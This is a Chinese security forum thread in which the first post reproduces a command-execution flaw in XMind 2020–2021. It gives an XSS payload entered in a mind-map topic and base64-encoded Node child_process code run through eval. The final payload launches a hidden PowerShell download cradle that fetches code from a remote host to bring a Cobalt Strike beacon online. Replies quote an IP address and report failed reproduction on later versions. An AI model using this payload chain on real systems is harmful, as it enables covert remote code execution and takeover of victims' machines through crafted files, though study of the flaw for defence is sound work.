# Xmind命令执行漏洞复现

**URL:** <https://forum.90sec.com/t/topic/1659>\
**Category:** 技术文章\
**Created:** [2021 年5 月 11 日 18:15 UTC](https://forum.90sec.com/t/topic/1659 "2021-05-11T18:15:16Z")\
**Posts on this page:** 6\
**Page:** 1

<div class="post-metadata">

作者： ![kosakd](https://forum.90sec.com/user_avatar/forum.90sec.com/kosakd/32/9937_2.png) [@kosakd](https://forum.90sec.com/u/kosakd)\
发布日期： [2021 年5 月 11 日 18:15 UTC](https://forum.90sec.com/t/topic/1659/1 "2021-05-11T18:15:16Z")

</div>

## 简介

XMind 是一款专业的全球领先的商业思维导图软件，在国内使用广泛，拥有强大的功能、包括思维管理、商务演示、与办公软件协同工作等功能。它采用全球先进的Eclipse RCP软件架构，是集思维导图与头脑风暴于一体的可视化思考工具，能用来捕捉想法、理清思路、管理复杂信息并促进团队协作。XMind思维导图软件曾被著名互联网媒体Lifehacker评选为“最佳头脑风暴和思维导图工具”及”最受欢迎的思维导图软件”。

## 影响范围

XMind 2020—XMind 2021 bate11 都存在此漏洞

## 漏洞复现

到官网下载最新版本的XMind并安装

 ![1](https://forum.90sec.com/uploads/default/original/2X/1/1cece6455e602faa70b03950c38e96e4fbefdbc9.png)  
 ![2](https://forum.90sec.com/uploads/default/original/2X/2/23ce10d2856f80123ca038c79452fe16521a7af5.png)  
 ![3](https://forum.90sec.com/uploads/default/original/2X/5/5d28c70446cce70ccf68b31df94aa0ec29290e93.png)  
 ![4](https://forum.90sec.com/uploads/default/original/2X/0/03409e29b317a10f7c6e955ece0e913f62d52b28.png)

### 打开，测试xss漏洞

**创建个模板，在主题中输入，payload，然后点击大纲，在大纲页面保存或者光标移到主题栏然后下移都能触发漏洞**

**xss payload**

```js
<img src=1 onerror=alert(1)>

```

 ![5](https://forum.90sec.com/uploads/default/original/2X/b/b05e33fb2192839a2655d83be45dd3f8d38b1b2d.png)

构造执行命令 **payload**

whoami

```js
const tenet = require('child_process')
tenet.exec('whoami',(error, stdout, stderr)=>{
    alert(`stdout: ${stdout}`);
  });

```

**base64** 编码

```js
Y29uc3QgdGVuZXQgPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykKdGVuZXQuZXhlYygnd2hvYW1pJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7

```

最终 **payload**

```shell
<img src=x onerror='eval(new Buffer(`Y29uc3QgdGVuZXQgPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykKdGVuZXQuZXhlYygnd2hvYW1pJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7`,`base64`).toString())'>

```

 ![6](https://forum.90sec.com/uploads/default/original/2X/5/5c1eba4e4c204f57036d0caa5f075b98b62d82dc.png)

执行ipconfig /all

 ![7](https://forum.90sec.com/uploads/default/original/2X/e/eb2eb9c137e9fff64bf3b63369b840d961ab2cfd.png)

cs上线

采用PowerShell上线

 ![8](https://forum.90sec.com/uploads/default/original/2X/f/f792051730af72a4cbec2d50cae95ae1e29882be.png)

```powershell
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.26:80/xmind'))"

```

构造执行命令payload

```js
const tenet = require('child_process')
tenet.exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.1.26:80/xmind\'))"',(error, stdout, stderr)=>{
    alert(`stdout: ${stdout}`);
  });

```

**base64** 编码

```js
Y29uc3QgdGVuZXQgPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykKdGVuZXQuZXhlYygncG93ZXJzaGVsbC5leGUgLW5vcCAtdyBoaWRkZW4gLWMgIklFWCAoKG5ldy1vYmplY3QgbmV0LndlYmNsaWVudCkuZG93bmxvYWRzdHJpbmcoXCdodHRwOi8vMTkyLjE2OC4xLjI2OjgwL3htaW5kXCcpKSInLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57CiAgICBhbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTsKICB9KTs=

```

最终 **payload**

```js
<img src=x onerror='eval(new Buffer(`Y29uc3QgdGVuZXQgPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykKdGVuZXQuZXhlYygncG93ZXJzaGVsbC5leGUgLW5vcCAtdyBoaWRkZW4gLWMgIklFWCAoKG5ldy1vYmplY3QgbmV0LndlYmNsaWVudCkuZG93bmxvYWRzdHJpbmcoXCdodHRwOi8vMTkyLjE2OC4xLjI2OjgwL3htaW5kXCcpKSInLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57CiAgICBhbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTsKICB9KTs=`,`base64`).toString())'>

```

 ![9](https://forum.90sec.com/uploads/default/original/2X/c/ceb3c4200e7f93a71e34fc83228f691b678b369f.png)

成功上线  
我的博客 [kosakd.top](https://kosakd.top/)

---

<div class="post-metadata">

作者： ![jiayiing](https://forum.90sec.com/letter_avatar_proxy/v4/letter/j/e5b9ba/32.png) [@jiayiing](https://forum.90sec.com/u/jiayiing)\
发布日期： [2021 年5 月 12 日 01:36 UTC](https://forum.90sec.com/t/topic/1659/2 "2021-05-12T01:36:13Z")

</div>

> [@kosakd](#):
>
> `106.52.29.158:80/xmind`

夜猫子啊

---

<div class="post-metadata">

作者： ![kosakd](https://forum.90sec.com/user_avatar/forum.90sec.com/kosakd/32/9937_2.png) [@kosakd](https://forum.90sec.com/u/kosakd)\
发布日期： [2021 年5 月 12 日 01:49 UTC](https://forum.90sec.com/t/topic/1659/3 "2021-05-12T01:49:32Z")

</div>

😂😂😂

---

<div class="post-metadata">

作者： ![2654470642](https://forum.90sec.com/user_avatar/forum.90sec.com/2654470642/32/11142_2.png) [@2654470642](https://forum.90sec.com/u/2654470642)\
发布日期： [2021 年5 月 18 日 02:27 UTC](https://forum.90sec.com/t/topic/1659/4 "2021-05-18T02:27:46Z")

</div>

xmind202007272308 不能复现

---

<div class="post-metadata">

作者： ![jaky](https://forum.90sec.com/letter_avatar_proxy/v4/letter/j/ac91a4/32.png) [@jaky](https://forum.90sec.com/u/jaky)\
发布日期： [2021 年6 月 29 日 00:59 UTC](https://forum.90sec.com/t/topic/1659/5 "2021-06-29T00:59:19Z")

</div>

🧐原创作者路过

---

<div class="post-metadata">

作者： ![M0rk](https://forum.90sec.com/letter_avatar_proxy/v4/letter/m/cab0a1/32.png) [@M0rk](https://forum.90sec.com/u/M0rk)\
发布日期： [2022 年6 月 12 日 03:18 UTC](https://forum.90sec.com/t/topic/1659/6 "2022-06-12T03:18:08Z")

</div>

xmind 202107130605不能复现